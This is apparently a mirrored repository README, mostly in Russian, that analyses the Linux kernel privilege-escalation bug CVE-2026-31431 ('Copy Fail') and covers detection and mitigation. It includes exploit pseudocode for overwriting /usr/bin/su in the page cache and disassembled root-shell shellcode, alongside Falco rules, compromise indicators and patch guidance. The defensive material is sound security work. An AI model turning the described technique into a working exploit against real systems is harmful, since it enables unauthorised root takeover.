## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DARIOOMATOS-CVE-2026-31431-COPYFAIL
# CVE-2026-31431 — «Copy Fail» 🔐
> **Образовательный технический анализ** одной из самых значимых уязвимостей ядра Linux со времен Dirty Pipe (2022).
> Этот репозиторий предназначен для **исследований, изучения и защиты**. Здесь не распространяется ни один рабочий эксплойт.
* * *
## Содержание
* Что это?
* Для новичков: аналогия
* Хронология
* Как это работает технически
* Проанализированный шеллкод
* Сравнение с похожими уязвимостями
* Затронутые системы
* Затронут ли Android?
* Обнаружение
* Смягчение и патчи
* Учебные реализации
* Ссылки
* * *
## Что это?
**CVE-2026-31431** , получившая прозвище _Copy Fail_ , — это уязвимость **локального повышения привилегий** (LPE — Local Privilege Escalation) в ядре Linux. Она позволяет любому непривилегированному пользователю получить доступ **root** за считанные секунды.
* * *
## Для новичков: аналогия
Представьте, что у операционной системы есть **рабочая память** (называемая _page cache_), где хранятся копии файлов, которые используются в данный момент. Когда вы запускаете программу, система загружает её в эту память и выполняет оттуда — а не напрямую с диска.
Copy Fail позволяет обычному пользователю **изменить эту копию в памяти** специальной программы (бинарного файла _setuid_ , например, команды `su`), не затрагивая исходный файл на диске. Файл на диске остаётся нетронутым, но при запуске программы система считывает повреждённую версию из памяти.
Это как подменить рецепт блюда в памяти шеф-повара, пока он готовит, — оригинальная кулинарная книга не меняется, но блюдо, которое получается на выходе, совершенно другое.
**Результат:** повреждённая программа выполняет код атакующего с правами root.
**Что делает это особенно опасным:**
* Нет окна состояния гонки — это детерминированно
* Не оставляет следов на диске (дисковая криминалистика не обнаружит)
* Работает практически на всех дистрибутивах Linux начиная с 2017 года
* Оригинальный эксплойт занимает всего ~700 байт Python
* * *
## Хронология```
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos
root@kitploit:~
---
## Как это работает технически
### Обзор потока```
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
### Root cause: in-place operation + sg_chain()
Ошибка находится в `crypto/algif_aead.c`. В 2017 году операция AEAD была переведена на _in-place_ для повышения производительности:```c // Antes (seguro): req->src e req->dst são scatterlists separadas // Depois (bugado, commit 72548b093ee3): req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA
root@kitploit:~
Алгоритм `authencesn` использует целевой буфер как *scratch space* для переупорядочивания байтов Extended Sequence Number (ESN) из IPsec:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadas
### Почему не остаётся следов
Запись полностью обходит VFS. Изменённая страница никогда не помечается как _dirty_ механизмом writeback ядра. Файл на диске остаётся нетронутым. Инструменты целостности, основанные на хэшах (`aide`, `tripwire`, `inotifywait`), ничего не обнаруживают, потому что они отслеживают диск, а не page cache.
* * *
## Разбор шеллкода
Эксплойт встраивает мини-ELF размером 160 байт, сжатый с помощью zlib. После распаковки исполняемая часть выглядит так:```nasm ; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)
; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)
bin_sh: db "/bin/sh", 0
root@kitploit:~
**Минимальная структура ELF (всего 160 байт):**```
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")
* * *
## Сравнение с аналогичными уязвимостями
* * *
## Затронутые системы
**Версии ядра:**
* Введена: Linux 4.14 (июль 2017)
* Исправлена: 6.18.22, 6.19.12, 7.0
**Дистрибутивы с подтверждёнными рабочими эксплойтами:**
* Ubuntu 24.04 LTS
* Amazon Linux 2023
* Red Hat Enterprise Linux 10.1
* SUSE Linux Enterprise 16
* Debian, Fedora, Arch Linux, AlmaLinux, Rocky Linux
**Необходимое условие:** `CONFIG_CRYPTO_USER_API_AEAD=y` или `=m` в ядре
**Проверка, подвержена ли система уязвимости:** ```bash
# Verifica se o módulo está disponível
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
# =y → built-in (mais difícil de desabilitar)
# =m → módulo carregável (pode ser bloqueado via modprobe)
# (ausente) → não afetado
# Teste direto (não causa dano, apenas testa acesso):
python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('⚠️ EXPOSTO: algif_aead acessível') s.close() except Exception as e: print(f'✅ Bloqueado: {e}') "
root@kitploit:~
---
## Android затронут?
**Краткий ответ:** стандартный Android (AOSP/GKI) **на практике не уязвим**, но устройства с нестандартными конфигурациями заслуживают проверки.
### Анализ по предварительным условиям```
Pré-requisito Android AOSP/GKI padrão Android OEM/rooteado
──────────────────────────────────────────────────────────────────────────────
Kernel na faixa afetada ✅ Sim (Android 12–16) ✅ Sim
algif_aead habilitado ❌ Não (fora do GKI) ⚠️ Possível (OEM config)
AF_ALG acessível a apps ❌ Bloqueado SELinux+seccomp ⚠️ Depende da policy
Binário setuid disponível ❌ Android não usa setuid ⚠️ Apenas builds eng/root
──────────────────────────────────────────────────────────────────────────────
Exploração via APK ❌ Inviável ❌ Inviável
Exploração via ADB shell ❌ Bloqueado por SELinux ⚠️ Possível (permissive)
### Почему Android защищён от природы
**1.`CONFIG_CRYPTO_USER_API_AEAD` отсутствует в GKI** Google не включает эту опцию в стандартный `gki_defconfig` для arm64. Android использует BoringSSL в userspace для шифрования и не полагается на AF_ALG.
**2\. SELinux enforcing** Домен `untrusted_app` SELinux в Android не имеет разрешения `create` для `AF_ALG`. Вызов `socket(AF_ALG, SOCK_SEQPACKET, 0)` отклоняется с `EACCES` до того, как достигнет подсистемы шифрования.
**3\. Seccomp-bpf** Приложения Android работают с фильтром seccomp, который блокирует `socket()` с `domain=AF_ALG` — его нет в whitelist разрешённых syscalls для сторонних приложений.
**4\. Отсутствие setuid-бинарников** Android не использует традиционную модель setuid из Linux. Привилегированные бинарники используют конкретные _capabilities_ или работают как сервисы с выделенными UID. В продакшен-сборках AOSP нет `/usr/bin/su`.
### Сценарии риска в Android
### Как проверить устройство Android```bash
# Verificar config do kernel
adb shell zcat /proc/config.gz | grep CRYPTO_USER_API_AEAD
# Verificar modo SELinux
adb shell getenforce
# Enforcing = protegido / Permissive = risco potencial
# Teste direto (requer adb shell funcional)
adb shell python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')) print('EXPOSTO') except Exception as e: print('Bloqueado:', e) " 2>/dev/null || echo "python3 não disponível no device"
# Procurar binários setuid (incomum em Android padrão)
adb shell find /system /vendor -perm -4000 -type f 2>/dev/null
root@kitploit:~
---
## Обнаружение
### Falco (обнаружение в реальном времени)```yaml
- rule: Copy Fail - AF_ALG AEAD Socket por processo não autorizado
desc: >
Detecta criação de socket AF_ALG SOCK_SEQPACKET por processo fora da
toolchain de criptografia de disco. Primeiro passo obrigatório do CVE-2026-31431.
condition: >
evt.type = socket
and evt.rawres >= 0
and (evt.arg.domain = 38 or evt.arg.domain contains AF_ALG)
and (evt.arg.type = 5 or evt.arg.type = 2053)
and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup,
integritysetup, kcapi-enc, kcapi-dgst)
output: >
AF_ALG AEAD socket por processo suspeito
(proc=%proc.name pid=%proc.pid user=%user.name cmd=%proc.cmdline)
priority: CRITICAL
tags: [CVE-2026-31431, kernel, privilege_escalation]
### Индикаторы компрометации (IoCs)```bash
# Processo Python que abre AF_ALG seguido de execução de shell
# strace de processo suspeito mostrando:
# socket(AF_ALG=38, SOCK_SEQPACKET, 0)
# bind(..., "authencesn(hmac(sha256),cbc(aes))", ...)
# splice(...) ← arquivo → pipe → socket
# recvmsg(...)
# Seguido de:
# setuid(0)
# execve("/bin/sh", ...)
# Red flags nos logs do sistema:
# \- Processo não-root com UID transitioning para 0
# \- python3 como parent de sh/bash
# \- Sequência socket+splice+recv em processo de usuário comum
root@kitploit:~
### Проверить, была ли система скомпрометирована```bash
# Page cache pode ser limpo com:
echo 3 > /proc/sys/vm/drop_caches
# Isso desfaz a corrupção em memória (sem trocar o binário em disco)
# Verificar integridade do binário em execução vs. disco:
# (não detecta a corrupção enquanto a página está no cache)
sha256sum /usr/bin/su
# Compare com o hash de referência da distribuição
* * *
## Mitigação e patches
### Opção 1 — Atualizar o kernel (recomendado)```bash
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-generic sudo reboot
# RHEL / AlmaLinux / Rocky Linux
sudo dnf upgrade kernel sudo reboot
# Fedora
sudo dnf upgrade kernel sudo reboot
# Arch Linux
sudo pacman -Syu linux sudo reboot
# Verificar versão após reboot:
uname -r
# Deve ser >= 6.18.22 ou >= 6.19.12 conforme sua série
root@kitploit:~
**Исправленные версии по сериям:**
| Серия | Исправленная версия |
|---|---|
| 5.10.x | 5.10.254 |
| 5.15.x | 5.15.204 |
| 6.1.x | 6.1.170 |
| 6.6.x | 6.6.137 |
| 6.12.x | 6.12.85 |
| 6.18.x | **6.18.22** |
| 6.19.x | **6.19.12** |
| 7.0+ | **7.0** (исправление включено) |
### Вариант 2 — Отключение algif_aead (временный обходной путь)
**Если `CONFIG_CRYPTO_USER_API_AEAD=m` (загружаемый модуль):**```bash
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true
**Se`CONFIG_CRYPTO_USER_API_AEAD=y` (встроенный — случай RHEL/Rocky/CloudLinux):**
> ⚠️ Приведённая выше команда **не работает** , когда модуль скомпилирован в ядро.```bash
# Use o initcall_blacklist via grubby:
grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init" sudo reboot
# Verificar se o mitigation está ativo:
cat /proc/cmdline | grep algif_aead_init
root@kitploit:~
**Подтверждение, что обходное решение работает:**```bash
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('❌ MITIGAÇÃO FALHOU — socket ainda acessível')
except:
print('✅ Mitigação ativa — socket bloqueado')
"
**Совместимость обходного решения:** Блокировка `algif_aead` **не влияет** на dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS, SSH. Она затрагивает только приложения, которые явно используют AF_ALG для AEAD (редко — например, OpenSSL с engine `afalg`, аппаратная разгрузка криптографии).
### Вариант 3 — Seccomp / LSM для контейнерных сред```yaml
# Perfil seccomp para bloquear AF_ALG em containers:
{ "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }] }] }
root@kitploit:~
---
## Учебные реализации
В этом репозитории документируется механизм эксплойта на нескольких языках в образовательных целях. Основное внимание уделяется пониманию того, **как** работает уязвимость, а не распространению атакующих инструментов.
### Структура механизма (псевдокод)```
função escreve_4_bytes_no_page_cache(arquivo, offset, bytes[4]):
alg = socket(AF_ALG, SEQPACKET)
alg.bind("authencesn(hmac(sha256),cbc(aes))")
alg.set_key(chave_36_bytes)
alg.set_authsize(4) ← 4 bytes = tamanho do write primitivo
op = alg.accept()
# O segredo: bytes[0:4] vão para posições [4:8] do AAD
# authencesn lerá isso como seqno_lo e escreverá no page cache
aad = [0,0,0,0] + bytes ← [seqno_hi=0][seqno_lo=bytes_desejados]
op.sendmsg(aad + bytes, [OP_DECRYPT, IV_16B, assoclen=8])
pipe_r, pipe_w = pipe()
splice(arquivo → pipe_w, len=offset+4, src_offset=0)
splice(pipe_r → op, len=offset+4)
# ↑ Injeta page cache na scatterlist do AF_ALG
op.recv() ← dispara authencesn → escrita acontece → EBADMSG ignorado
# Uso:
elf_payload = descomprime(payload_zlib)
fd = open("/usr/bin/su", O_RDONLY)
para cada chunk[4] em elf_payload:
escreve_4_bytes_no_page_cache(fd, offset, chunk)
executa("/usr/bin/su") ← agora executa nosso ELF → root
### Документированные языки
Файл `copyfail_study.md` содержит полные и прокомментированные реализации.
### О ELF-пейлоаде
Извлечённый шеллкод (после декомпрессии zlib из PoC) выполняет:```
1. setuid(0) → syscall 105 (0x69)
2. execve("/bin/sh",0,0) → syscall 59 (0x3b) com /bin/sh como string inline
3. exit(0) → syscall 60 (0x3c) — fallback
root@kitploit:~
Total: 26 байт кода + 8 байт строки = 34 байта шеллкода внутри ELF размером 160 байт.
---
## Ссылки
| Ресурс | Ссылка |
|---|---|
| Оригинальный writeup (Theori/Xint) | https://xint.io/blog/copy-fail-linux-distributions |
| Официальный сайт CVE | https://copy.fail |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-31431 |
| Оригинальный репозиторий PoC | https://github.com/theori-io/copy-fail-CVE-2026-31431 |
| Основной патч | https://git.kernel.org/stable/c/a664bf3d603d |
| Wikipedia | https://en.wikipedia.org/wiki/Copy_Fail |
| Анализ Sysdig + правило Falco | https://sysdig.com/blog/cve-2026-31431-copy-fail |
| Анализ Microsoft Defender | https://microsoft.com/security/blog/2026/05/01/cve-2026-31431 |
| FAQ Tenable | https://tenable.com/blog/copy-fail-cve-2026-31431 |
| Advisory CERT-EU | https://cert.europa.eu/publications/security-advisories/2026-005 |
| Анализ Bugcrowd | https://bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431 |
| Обсуждение OSS-Security | https://openwall.com/lists/oss-security/2026/04/29/23 |
| Патч AlmaLinux | https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail |
| Патч CloudLinux + анализ workaround | https://blog.cloudlinux.com/cve-2026-31431-copy-fail |
| Kaspersky / Securelist | https://securelist.com/copyfail-root-linux/119634 |
---
## Дисклеймер
Этот репозиторий имеет **исключительно образовательную цель и предназначен для исследований в области защитной безопасности**. Содержимое здесь предназначено для:
- Специалистов по наступательной и защитной безопасности
- Исследователей уязвимостей
- Студентов, изучающих информационную безопасность
- Системных администраторов, которым необходимо понять риск, чтобы смягчить его
**Не используйте эти знания на системах без явного разрешения владельца.** Несанкционированный доступ к компьютерным системам является преступлением практически во всех юрисдикциях (в Бразилии — Закон 12.737/2012 — Закон Каролины Дикманн; Закон 14.155/2021).
---
*Последнее обновление: май 2026 года*
*Приветствуются contributions через PR — сохраняйте образовательную и защитную направленность.*